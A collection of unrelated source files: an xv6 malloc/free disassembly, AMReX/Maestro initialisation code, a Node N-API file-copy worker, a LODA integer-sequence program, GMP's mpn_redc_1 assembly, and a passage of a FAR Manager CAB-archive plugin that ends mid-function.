for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5a1: a1 d4 09 00 00 mov 0x9d4,%eax
{
5a6: 89 e5 mov %esp,%ebp
5a8: 57 push %edi
5a9: 56 push %esi
5aa: 53 push %ebx
5ab: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
5ae: 8d 4b f8 lea -0x8(%ebx),%ecx
5b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5b8: 39 c8 cmp %ecx,%eax
5ba: 8b 10 mov (%eax),%edx
5bc: 73 32 jae 5f0 <free+0x50>
5be: 39 d1 cmp %edx,%ecx
5c0: 72 04 jb 5c6 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5c2: 39 d0 cmp %edx,%eax
5c4: 72 32 jb 5f8 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
5c6: 8b 73 fc mov -0x4(%ebx),%esi
5c9: 8d 3c f1 lea (%ecx,%esi,8),%edi
5cc: 39 fa cmp %edi,%edx
5ce: 74 30 je 600 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
5d0: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
5d3: 8b 50 04 mov 0x4(%eax),%edx
5d6: 8d 34 d0 lea (%eax,%edx,8),%esi
5d9: 39 f1 cmp %esi,%ecx
5db: 74 3a je 617 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
5dd: 89 08 mov %ecx,(%eax)
freep = p;
5df: a3 d4 09 00 00 mov %eax,0x9d4
}
5e4: 5b pop %ebx
5e5: 5e pop %esi
5e6: 5f pop %edi
5e7: 5d pop %ebp
5e8: c3 ret
5e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5f0: 39 d0 cmp %edx,%eax
5f2: 72 04 jb 5f8 <free+0x58>
5f4: 39 d1 cmp %edx,%ecx
5f6: 72 ce jb 5c6 <free+0x26>
{
5f8: 89 d0 mov %edx,%eax
5fa: eb bc jmp 5b8 <free+0x18>
5fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
600: 03 72 04 add 0x4(%edx),%esi
603: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
606: 8b 10 mov (%eax),%edx
608: 8b 12 mov (%edx),%edx
60a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
60d: 8b 50 04 mov 0x4(%eax),%edx
610: 8d 34 d0 lea (%eax,%edx,8),%esi
613: 39 f1 cmp %esi,%ecx
615: 75 c6 jne 5dd <free+0x3d>
p->s.size += bp->s.size;
617: 03 53 fc add -0x4(%ebx),%edx
freep = p;
61a: a3 d4 09 00 00 mov %eax,0x9d4
p->s.size += bp->s.size;
61f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
622: 8b 53 f8 mov -0x8(%ebx),%edx
625: 89 10 mov %edx,(%eax)
}
627: 5b pop %ebx
628: 5e pop %esi
629: 5f pop %edi
62a: 5d pop %ebp
62b: c3 ret
62c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000630 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
630: 55 push %ebp
631: 89 e5 mov %esp,%ebp
633: 57 push %edi
634: 56 push %esi
635: 53 push %ebx
636: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
639: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
63c: 8b 15 d4 09 00 00 mov 0x9d4,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
642: 8d 78 07 lea 0x7(%eax),%edi
645: c1 ef 03 shr $0x3,%edi
648: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
64b: 85 d2 test %edx,%edx
64d: 0f 84 9d 00 00 00 je 6f0 <malloc+0xc0>
653: 8b 02 mov (%edx),%eax
655: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
658: 39 cf cmp %ecx,%edi
65a: 76 6c jbe 6c8 <malloc+0x98>
65c: 81 ff 00 10 00 00 cmp $0x1000,%edi
662: bb 00 10 00 00 mov $0x1000,%ebx
667: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
66a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
671: eb 0e jmp 681 <malloc+0x51>
673: 90 nop
674: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
678: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
67a: 8b 48 04 mov 0x4(%eax),%ecx
67d: 39 f9 cmp %edi,%ecx
67f: 73 47 jae 6c8 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
681: 39 05 d4 09 00 00 cmp %eax,0x9d4
687: 89 c2 mov %eax,%edx
689: 75 ed jne 678 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
68b: 83 ec 0c sub $0xc,%esp
68e: 56 push %esi
68f: e8 66 fc ff ff call 2fa <sbrk>
if(p == (char*)-1)
694: 83 c4 10 add $0x10,%esp
697: 83 f8 ff cmp $0xffffffff,%eax
69a: 74 1c je 6b8 <malloc+0x88>
hp->s.size = nu;
69c: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
69f: 83 ec 0c sub $0xc,%esp
6a2: 83 c0 08 add $0x8,%eax
6a5: 50 push %eax
6a6: e8 f5 fe ff ff call 5a0 <free>
return freep;
6ab: 8b 15 d4 09 00 00 mov 0x9d4,%edx
if((p = morecore(nunits)) == 0)
6b1: 83 c4 10 add $0x10,%esp
6b4: 85 d2 test %edx,%edx
6b6: 75 c0 jne 678 <malloc+0x48>
return 0;
}
}
6b8: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
6bb: 31 c0 xor %eax,%eax
}
6bd: 5b pop %ebx
6be: 5e pop %esi
6bf: 5f pop %edi
6c0: 5d pop %ebp
6c1: c3 ret
6c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
6c8: 39 cf cmp %ecx,%edi
6ca: 74 54 je 720 <malloc+0xf0>
p->s.size -= nunits;
6cc: 29 f9 sub %edi,%ecx
6ce: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
6d1: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
6d4: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
6d7: 89 15 d4 09 00 00 mov %edx,0x9d4
}
6dd: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
6e0: 83 c0 08 add $0x8,%eax
}
6e3: 5b pop %ebx
6e4: 5e pop %esi
6e5: 5f pop %edi
6e6: 5d pop %ebp
6e7: c3 ret
6e8: 90 nop
6e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
6f0: c7 05 d4 09 00 00 d8 movl $0x9d8,0x9d4
6f7: 09 00 00
6fa: c7 05 d8 09 00 00 d8 movl $0x9d8,0x9d8
701: 09 00 00
base.s.size = 0;
704: b8 d8 09 00 00 mov $0x9d8,%eax
709: c7 05 dc 09 00 00 00 movl $0x0,0x9dc
710: 00 00 00
713: e9 44 ff ff ff jmp 65c <malloc+0x2c>
718: 90 nop
719: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
720: 8b 08 mov (%eax),%ecx
722: 89 0a mov %ecx,(%edx)
724: eb b1 jmp 6d7 <malloc+0xa7>
|
#include <Maestro.H>
using namespace amrex;
// initializes data on a specific level
void Maestro::InitLevelData(const int lev, const Real time, const MFIter& mfi,
const Array4<Real> scal, const Array4<Real> vel) {
// timer for profiling
BL_PROFILE_VAR("Maestro::InitLevelData()", InitLevelData);
const auto tileBox = mfi.tilebox();
// set velocity to zero
ParallelFor(tileBox, AMREX_SPACEDIM,
[=] AMREX_GPU_DEVICE(int i, int j, int k, int n) {
vel(i, j, k, n) = 0.0;
});
// set scalars to zero
ParallelFor(tileBox, Nscal,
[=] AMREX_GPU_DEVICE(int i, int j, int k, int n) {
scal(i, j, k, n) = 0.0;
});
}
void Maestro::InitLevelDataSphr(const int lev, const Real time, MultiFab& scal,
MultiFab& vel) {
// timer for profiling
BL_PROFILE_VAR("Maestro::InitLevelDataSphr()", InitLevelDataSphr);
#ifdef _OPENMP
#pragma omp parallel
#endif
for (MFIter mfi(scal, TilingIfNotGPU()); mfi.isValid(); ++mfi) {
const auto tileBox = mfi.tilebox();
const Array4<Real> vel_arr = vel.array(mfi);
const Array4<Real> scal_arr = scal.array(mfi);
// set velocity to zero
ParallelFor(tileBox, AMREX_SPACEDIM,
[=] AMREX_GPU_DEVICE(int i, int j, int k, int n) {
vel_arr(i, j, k, n) = 0.0;
});
ParallelFor(tileBox, Nscal,
[=] AMREX_GPU_DEVICE(int i, int j, int k, int n) {
scal_arr(i, j, k, n) = 0.0;
});
}
}
|
#define NAPI_EXPERIMENTAL
#include <napi.h>
#include <vector>
#include "wstring.h"
#include "nullfunction.h"
#include "copy_worker.h"
#if WINDOWS
#include "windows/utils.h"
#include "windows/shell.h"
#elif LINUX
#endif
using namespace Napi;
using namespace std;
class Copy_worker : public AsyncWorker {
public:
Copy_worker(const Napi::Env& env, const wstring& source_path, const wstring& target_path, const vector<wstring>& files,
const vector<wstring>& exceptions, bool move)
: AsyncWorker(Function::New(env, NullFunction, "theFunction"))
, source_path(source_path)
, target_path(target_path)
, files(files)
, exceptions(exceptions)
, move(move)
, deferred(Promise::Deferred::New(Env())) {}
~Copy_worker() {}
void Execute () { copy_files(source_path, target_path, files, exceptions, move, error, error_code); }
void OnOK() {
HandleScope scope(Env());
if (error.empty())
deferred.Resolve(Env().Null());
else {
auto obj = Object::New(Env());
obj.Set("description", String::New(Env(), error.c_str()));
obj.Set("code", Number::New(Env(), static_cast<double>(error_code)));
deferred.Reject(obj);
}
}
Promise Promise() { return deferred.Promise(); }
private:
wstring source_path;
wstring target_path;
vector<wstring> files;
vector<wstring> exceptions;
bool move;
string error;
int error_code;
Promise::Deferred deferred;
};
Value copy_files(const CallbackInfo& info, bool move) {
auto source_path = info[0].As<WString>();
auto target_path = info[1].As<WString>();
auto files_array = info[2].As<Array>();
vector<wstring> files;
for (auto i = 0U; i < files_array.Length(); i++)
files.push_back(files_array.Get(i).As<WString>());
vector<wstring> exceptions;
if (info[3].IsArray()) {
auto exceptions_array = info[3].As<Array>();
for (auto i = 0U; i < exceptions_array.Length(); i++)
exceptions.push_back(exceptions_array.Get(i).As<WString>());
}
auto worker = new Copy_worker(info.Env(), source_path, target_path, files, exceptions, move);
worker->Queue();
return worker->Promise();
}
|
; A176083: a(n) = 2^(2n-2) mod prime(2n).
; Submitted by Christian Krause
; 1,4,3,7,24,25,11,7,22,12,9,1,5,69,1,62,41,16,133,89,39,3,162,66,121,12,4,109,163,85,135,52,251,8,14,6,154,126,167,284,149,158,254,110,318,23,75,23,59,279,478,513,290,58,256,345,347,25,58,361,672,681,673,697,669,609,278,739,355,529,543,478,43,839,192,237,324,581,168,421,604,678,966,996,695,1020,195,1020,475,1068,430,118,868,17,436,941,859,936,572,205
mul $0,2
mov $1,2
pow $1,$0
add $0,1
seq $0,6005 ; The odd prime numbers together with 1.
mod $1,$0
mov $0,$1
|
dnl X86-64 mpn_redc_1 optimised for Intel Atom.
dnl Contributed to the GNU project by Torbjörn Granlund.
dnl Copyright 2003-2005, 2007, 2008, 2011-2013 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C cycles/limb
C AMD K8,K9 ?
C AMD K10 ?
C AMD bull ?
C AMD pile ?
C AMD steam ?
C AMD bobcat 5.0
C AMD jaguar ?
C Intel P4 ?
C Intel core ?
C Intel NHM ?
C Intel SBR ?
C Intel IBR ?
C Intel HWL ?
C Intel BWL ?
C Intel atom ?
C VIA nano ?
C TODO
C * Micro-optimise, none performed thus far.
C * Consider inlining mpn_add_n.
C * Single basecases out before the pushes.
C * Make lead-in code for the inner loops be more similar.
C When playing with pointers, set this to $2 to fall back to conservative
C indexing in wind-down code.
define(`I',`$1')
define(`rp', `%rdi') C rcx
define(`up', `%rsi') C rdx
define(`mp_param', `%rdx') C r8
define(`n', `%rcx') C r9
define(`u0inv', `%r8') C stack
define(`i', `%r14')
define(`j', `%r15')
define(`mp', `%r12')
define(`q0', `%r13')
define(`w0', `%rbp')
define(`w1', `%r9')
define(`w2', `%r10')
define(`w3', `%r11')
C rax rbx rcx rdx rdi rsi rbp r8 r9 r10 r11 r12 r13 r14 r15
ABI_SUPPORT(DOS64)
ABI_SUPPORT(STD64)
define(`ALIGNx', `ALIGN(16)')
ASM_START()
TEXT
ALIGN(32)
PROLOGUE(mpn_redc_1)
FUNC_ENTRY(4)
IFDOS(` mov 56(%rsp), %r8 ')
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
mov (up), q0
mov n, j C outer loop induction var
lea (mp_param,n,8), mp
lea (up,n,8), up
neg n
imul u0inv, q0 C first iteration q0
test $1, R8(n)
jz L(bx0)
L(bx1): test $2, R8(n)
jz L(b3)
L(b1): cmp $-1, R32(n)
jz L(n1)
L(otp1):lea 1(n), i
mov (mp,n,8), %rax
mul q0
mov %rax, %rbp
mov 8(mp,n,8), %rax
mov %rdx, %r9
mul q0
mov %rax, %rbx
mov 16(mp,n,8), %rax
mov %rdx, %r10
mul q0
add (up,n,8), %rbp
mov %rax, %rbp
adc %r9, %rbx
mov 24(mp,n,8), %rax
adc $0, %r10
mov %rdx, %r9
mul q0
add 8(up,n,8), %rbx
mov %rbx, 8(up,n,8)
mov %rax, %r11
adc %r10, %rbp
mov 32(mp,n,8), %rax
adc $0, %r9
imul u0inv, %rbx C next q limb
jmp L(e1)
ALIGNx
L(tp1): mul q0
add %rbp, -24(up,i,8)
mov %rax, %rbp
mov (mp,i,8), %rax
adc %r9, %r11
mov %rdx, %r9
adc $0, %r10
mul q0
add %r11, -16(up,i,8)
mov %rax, %r11
mov 8(mp,i,8), %rax
adc %r10, %rbp
mov %rdx, %r10
adc $0, %r9
mul q0
add %rbp, -8(up,i,8)
mov %rax, %rbp
adc %r9, %r11
mov 16(mp,i,8), %rax
adc $0, %r10
mov %rdx, %r9
mul q0
add %r11, (up,i,8)
mov %rax, %r11
adc %r10, %rbp
mov 24(mp,i,8), %rax
adc $0, %r9
L(e1): add $4, i
mov %rdx, %r10
js L(tp1)
L(ed1): mul q0
add %rbp, I(-24(up),-24(up,i,8))
adc %r9, %r11
adc $0, %r10
add %r11, I(-16(up),-16(up,i,8))
adc %r10, %rax
adc $0, %rdx
add %rax, I(-8(up),-8(up,i,8))
adc $0, %rdx
mov %rdx, (up,n,8) C up[0]
mov %rbx, q0 C previously computed q limb -> q0
lea 8(up), up C up++
dec j
jnz L(otp1)
jmp L(cj)
L(b3): cmp $-3, R32(n)
jz L(n3)
L(otp3):lea 3(n), i
mov (mp,n,8), %rax
mul q0
mov %rax, %rbp
mov 8(mp,n,8), %rax
mov %rdx, %r9
mul q0
mov %rax, %rbx
mov 16(mp,n,8), %rax
mov %rdx, %r10
mul q0
add (up,n,8), %rbp
mov %rax, %rbp
mov 24(mp,n,8), %rax
adc %r9, %rbx
mov %rdx, %r9
adc $0, %r10
mul q0
add 8(up,n,8), %rbx
mov %rbx, 8(up,n,8)
mov %rax, %r11
mov 32(mp,n,8), %rax
adc %r10, %rbp
mov %rdx, %r10
adc $0, %r9
imul u0inv, %rbx C next q limb
jmp L(e3)
ALIGNx
L(tp3): mul q0
add %rbp, -24(up,i,8)
mov %rax, %rbp
mov (mp,i,8), %rax
adc %r9, %r11
mov %rdx, %r9
adc $0, %r10
mul q0
add %r11, -16(up,i,8)
mov %rax, %r11
mov 8(mp,i,8), %rax
adc %r10, %rbp
mov %rdx, %r10
adc $0, %r9
L(e3): mul q0
add %rbp, -8(up,i,8)
mov %rax, %rbp
adc %r9, %r11
mov 16(mp,i,8), %rax
adc $0, %r10
mov %rdx, %r9
mul q0
add %r11, (up,i,8)
mov %rax, %r11
adc %r10, %rbp
mov 24(mp,i,8), %rax
adc $0, %r9
add $4, i
mov %rdx, %r10
js L(tp3)
L(ed3): mul q0
add %rbp, I(-24(up),-24(up,i,8))
adc %r9, %r11
adc $0, %r10
add %r11, I(-16(up),-16(up,i,8))
adc %r10, %rax
adc $0, %rdx
add %rax, I(-8(up),-8(up,i,8))
adc $0, %rdx
mov %rdx, (up,n,8) C up[0]
mov %rbx, q0 C previously computed q limb -> q0
lea 8(up), up C up++
dec j
jnz L(otp3)
C jmp L(cj)
L(cj):
IFSTD(` lea (up,n,8), up C param 2: up
lea (up,n,8), %rdx C param 3: up - n
neg R32(n) ') C param 4: n
IFDOS(` lea (up,n,8), %rdx C param 2: up
lea (%rdx,n,8), %r8 C param 3: up - n
neg R32(n)
mov n, %r9 C param 4: n
mov rp, %rcx ') C param 1: rp
IFSTD(` sub $8, %rsp ')
IFDOS(` sub $40, %rsp ')
ASSERT(nz, `test $15, %rsp')
CALL( mpn_add_n)
IFSTD(` add $8, %rsp ')
IFDOS(` add $40, %rsp ')
L(ret): pop %r15
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
FUNC_EXIT()
ret
L(bx0): test $2, R8(n)
jnz L(b2)
L(b0): cmp $-4, R32(n)
jz L(n4)
L(otp0):lea 4(n), i
mov (mp,n,8), %rax
mul q0
mov %rax, %r11
mov 8(mp,n,8), %rax
mov %rdx, %r10
mul q0
mov %rax, %rbx
mov 16(mp,n,8), %rax
mov %rdx, %r9
mul q0
add (up,n,8), %r11
mov %rax, %r11
adc %r10, %rbx
mov 24(mp,n,8), %rax
adc $0, %r9
mov %rdx, %r10
mul q0
add 8(up,n,8), %rbx
mov %rbx, 8(up,n,8)
mov %rax, %rbp
mov 32(mp,n,8), %rax
adc %r9, %r11
mov %rdx, %r9
adc $0, %r10
imul u0inv, %rbx C next q limb
jmp L(e0)
ALIGNx
L(tp0): mul q0
add %rbp, -24(up,i,8)
mov %rax, %rbp
mov (mp,i,8), %rax
adc %r9, %r11
mov %rdx, %r9
adc $0, %r10
L(e0): mul q0
add %r11, -16(up,i,8)
mov %rax, %r11
mov 8(mp,i,8), %rax
adc %r10, %rbp
mov %rdx, %r10
adc $0, %r9
mul q0
add %rbp, -8(up,i,8)
mov %rax, %rbp
adc %r9, %r11
mov 16(mp,i,8), %rax
adc $0, %r10
mov %rdx, %r9
mul q0
add %r11, (up,i,8)
mov %rax, %r11
adc %r10, %rbp
mov 24(mp,i,8), %rax
adc $0, %r9
add $4, i
mov %rdx, %r10
js L(tp0)
L(ed0): mul q0
add %rbp, I(-24(up),-24(up,i,8))
adc %r9, %r11
adc $0, %r10
add %r11, I(-16(up),-16(up,i,8))
adc %r10, %rax
adc $0, %rdx
add %rax, I(-8(up),-8(up,i,8))
adc $0, %rdx
mov %rdx, (up,n,8) C up[0]
mov %rbx, q0 C previously computed q limb -> q0
lea 8(up), up C up++
dec j
jnz L(otp0)
jmp L(cj)
L(b2): cmp $-2, R32(n)
jz L(n2)
L(otp2):lea 2(n), i
mov (mp,n,8), %rax
mul q0
mov %rax, %r11
mov 8(mp,n,8), %rax
mov %rdx, %r10
mul q0
mov %rax, %rbx
mov 16(mp,n,8), %rax
mov %rdx, %r9
mul q0
add (up,n,8), %r11
mov %rax, %r11
adc %r10, %rbx
mov 24(mp,n,8), %rax
adc $0, %r9
mov %rdx, %r10
mul q0
add 8(up,n,8), %rbx
mov %rbx, 8(up,n,8)
mov %rax, %rbp
mov 32(mp,n,8), %rax
adc %r9, %r11
mov %rdx, %r9
adc $0, %r10
imul u0inv, %rbx C next q limb
jmp L(e2)
ALIGNx
L(tp2): mul q0
add %rbp, -24(up,i,8)
mov %rax, %rbp
mov (mp,i,8), %rax
adc %r9, %r11
mov %rdx, %r9
adc $0, %r10
mul q0
add %r11, -16(up,i,8)
mov %rax, %r11
mov 8(mp,i,8), %rax
adc %r10, %rbp
mov %rdx, %r10
adc $0, %r9
mul q0
add %rbp, -8(up,i,8)
mov %rax, %rbp
adc %r9, %r11
mov 16(mp,i,8), %rax
adc $0, %r10
mov %rdx, %r9
L(e2): mul q0
add %r11, (up,i,8)
mov %rax, %r11
adc %r10, %rbp
mov 24(mp,i,8), %rax
adc $0, %r9
add $4, i
mov %rdx, %r10
js L(tp2)
L(ed2): mul q0
add %rbp, I(-24(up),-24(up,i,8))
adc %r9, %r11
adc $0, %r10
add %r11, I(-16(up),-16(up,i,8))
adc %r10, %rax
adc $0, %rdx
add %rax, I(-8(up),-8(up,i,8))
adc $0, %rdx
mov %rdx, (up,n,8) C up[0]
mov %rbx, q0 C previously computed q limb -> q0
lea 8(up), up C up++
dec j
jnz L(otp2)
jmp L(cj)
L(n1): mov (mp_param), %rax
mul q0
add -8(up), %rax
adc (up), %rdx
mov %rdx, (rp)
mov $0, R32(%rax)
adc R32(%rax), R32(%rax)
jmp L(ret)
L(n2): mov (mp_param), %rax
mov -16(up), %rbp
mul q0
add %rax, %rbp
mov %rdx, %r9
adc $0, %r9
mov -8(mp), %rax
mov -8(up), %r10
mul q0
add %rax, %r10
mov %rdx, %r11
adc $0, %r11
add %r9, %r10
adc $0, %r11
mov %r10, q0
imul u0inv, q0 C next q0
mov -16(mp), %rax
mul q0
add %rax, %r10
mov %rdx, %r9
adc $0, %r9
mov -8(mp), %rax
mov (up), %r14
mul q0
add %rax, %r14
adc $0, %rdx
add %r9, %r14
adc $0, %rdx
xor R32(%rax), R32(%rax)
add %r11, %r14
adc 8(up), %rdx
mov %r14, (rp)
mov %rdx, 8(rp)
adc R32(%rax), R32(%rax)
jmp L(ret)
ALIGNx
L(n3): mov -24(mp), %rax
mov -24(up), %r10
mul q0
add %rax, %r10
mov -16(mp), %rax
mov %rdx, %r11
adc $0, %r11
mov -16(up), %rbp
mul q0
add %rax, %rbp
mov %rdx, %r9
adc $0, %r9
mov -8(mp), %rax
add %r11, %rbp
mov -8(up), %r10
adc $0, %r9
mul q0
mov %rbp, q0
imul u0inv, q0 C next q0
add %rax, %r10
mov %rdx, %r11
adc $0, %r11
mov %rbp, -16(up)
add %r9, %r10
adc $0, %r11
mov %r10, -8(up)
mov %r11, -24(up) C up[0]
lea 8(up), up C up++
dec j
jnz L(n3)
mov -48(up), %rdx
mov -40(up), %rbx
xor R32(%rax), R32(%rax)
add %rbp, %rdx
adc %r10, %rbx
adc -8(up), %r11
mov %rdx, (rp)
mov %rbx, 8(rp)
mov %r11, 16(rp)
adc R32(%rax), R32(%rax)
jmp L(ret)
L(n4): mov -32(mp), %rax
mul q0
mov %rax, %r11
mov -24(mp), %rax
mov %rdx, %r10
mul q0
mov %rax, %rbx
mov -16(mp), %rax
mov %rdx, %r9
mul q0
add -32(up), %r11
mov %rax, %r11
adc %r10, %rbx
mov -8(mp), %rax
adc $0, %r9
mov %rdx, %r10
mul q0
add -24(up), %rbx
mov %rbx, -24(up)
adc %r9, %r11
adc $0, %r10
imul u0inv, %rbx C next q limb
add %r11, -16(up)
adc %r10, %rax
adc $0, %rdx
add %rax, -8(up)
adc $0, %rdx
mov %rdx, -32(up) C up[0]
mov %rbx, q0 C previously computed q limb -> q0
dec j
lea 8(up), up C up++
jnz L(n4)
jmp L(cj)
EPILOGUE()
ASM_END()
|
/*
CAB.CPP
Second-level plugin module for FAR Manager and MultiArc plugin
Copyright (c) 1996 Eugene Roshal
Copyrigth (c) 2000 FAR group
*/
#include <windows.h>
#include <string.h>
#include <dos.h>
#include <plugin.hpp>
#include "fmt.hpp"
typedef BYTE u1;
typedef WORD u2;
typedef DWORD u4;
PACK_PUSH(1)
struct CFHEADER
{
u4 signature;
u4 reserved1;
u4 cbCabinet;
u4 reserved2;
u4 coffFiles;
u4 nFiles;
u1 versionMinor;
u1 versionMajor;
u2 cFolders;
u2 cFiles;
u2 flags;
u2 setID;
u2 iCabinet;
};
PACK_POP()
PACK_CHECK(CFHEADER, 1);
PACK_PUSH(1)
struct CFFILE
{
u4 cbFile;
u4 uoffFolderStart;
u2 iFolder;
u2 date;
u2 time;
u2 attribs;
u1 szName[256];
};
PACK_POP()
PACK_CHECK(CFFILE, 1);
static HANDLE ArcHandle;
static DWORD SFXSize,FilesNumber;
static DWORD UnpVer;
BOOL WINAPI _export IsArchive(const char *Name,const unsigned char *Data,int DataSize)
{
int I;
for( I=0; I <= (int)(DataSize-sizeof(CFHEADER)); I++ )
{
const unsigned char *D=Data+I;
if (D[0]=='M' && D[1]=='S' && D[2]=='C' && D[3]=='F')
{
CFHEADER *Header=(CFHEADER *)(Data+I);
if (Header->cbCabinet > sizeof(*Header) && Header->coffFiles > sizeof(*Header) &&
Header->coffFiles<0xffff && Header->versionMajor>0 &&
Header->versionMajor<0x10 && Header->cFolders>0)
{
SFXSize=I;
return(TRUE);
}
}
}
return(FALSE);
}
BOOL WINAPI _export OpenArchive(const char *Name,int *Type)
{
CFHEADER MainHeader;
DWORD ReadSize;
int I;
ArcHandle = CreateFile( Name, GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, NULL );
if (ArcHandle == INVALID_HANDLE_VALUE)
return FALSE;
*Type=0;
SetFilePointer(ArcHandle,SFXSize,NULL,FILE_BEGIN);
I = SFXSize;
if (!ReadFile( ArcHandle, &MainHeader, sizeof(MainHeader), &ReadSize, NULL ) ||
ReadSize != sizeof(MainHeader) || !IsArchive( NULL, (u1*)&MainHeader, sizeof(MainHeader) ))
{
HANDLE hMapFile;
LPBYTE Data;
if ((ReadSize = GetFileSize( ArcHandle, NULL )) == 0xFFFFFFFF)
{
blad:
CloseHandle( ArcHandle );
return FALSE;
}
if (ReadSize > 1024*1024)
ReadSize = 1024*1024;
hMapFile = CreateFileMapping( ArcHandle, NULL, PAGE_READONLY, 0, ReadSize, NULL );
if (hMapFile == NULL)
goto blad;
Data = (LPBYTE)MapViewOfFile( hMapFile, FILE_MAP_READ, 0, 0, ReadSize );
CloseHandle( hMapFile );
if (Data == NULL)
goto blad;
I = IsArchive( NULL, Data, ReadSize );
if (I)
memcpy( &MainHeader, Data + SFXSize, sizeof(MainHeader) );
UnmapViewOfFile( Data );
if (I == 0)
goto blad;
}
else
SFXSize = I;
SetFilePointer(ArcHandle,SFXSize+MainHeader.coffFiles,NULL,FILE_BEGIN);
FilesNumber = MainHeader.cFiles;
if (FilesNumber == 65535 && (MainHeader.flags & 8))
FilesNumber = MainHeader.nFiles;
UnpVer=MainHeader.versionMajor*256+MainHeader.versionMinor;
while (FilesNumber && (MainHeader.flags & 1))
{
char *EndPos;
CFFILE FileHeader;
if (!ReadFile( ArcHandle, &FileHeader, sizeof(FileHeader), &ReadSize, NULL )
|| ReadSize < 18)
goto blad;
if (FileHeader.iFolder == 0xFFFD || FileHeader.iFolder == 0xFFFF)
{
EndPos = (char*)FileHeader.szName;
while (EndPos - (char*)&FileHeader < (int)sizeof(FileHeader) && *EndPos)
EndPos++;
if (EndPos - (char*)&FileHeader >= (int)sizeof(FileHeader))
goto blad;
SetFilePointer( ArcHandle, (LONG)((EndPos-(char*)&FileHeader+1) - ReadSize), NULL, FILE_CURRENT );
FilesNumber--;
}
else
{
SetFilePointer( ArcHandle, 0 - ReadSize, NULL, FILE_CURRENT );
break;
}
}
///
return(TRUE);
}
int WINAPI _export GetArcItem(PluginPanelItem *Item, ArcItemInfo *Info)
{
CFFILE FileHeader;
DWORD ReadSize;
char *EndPos;
FILETIME lft;
if (FilesNumber-- == 0)
return GETARC_EOF;
if (!ReadFile(ArcHandle,&FileHeader,sizeof(FileHeader),&ReadSize,NULL)
|| ReadSize < 18)
return GETARC_READERROR;
EndPos = (char *)FileHeader.szName;
while (EndPos - (char*)&FileHeader < (int)sizeof(FileHeader) && *EndPos)
EndPos++;
if (EndPos - (char*)&FileHeader >= (int)sizeof(FileHeader))
return GETARC_BROKEN;
SetFilePointer( ArcHandle, (LONG)((EndPos-(char*)&FileHeader+1) - ReadSize), NULL, FILE_CURRENT );
EndPos = (char *)FileHeader.szName;
while (*EndPos)
{
if (*EndPos == '/')
*EndPos = '\\';
EndPos++;
}
EndPos = (char *)FileHeader.szName;
if (EndPos[ 0 ] == '\\' && EndPos[ 1 ] != '\\')
EndPos++;
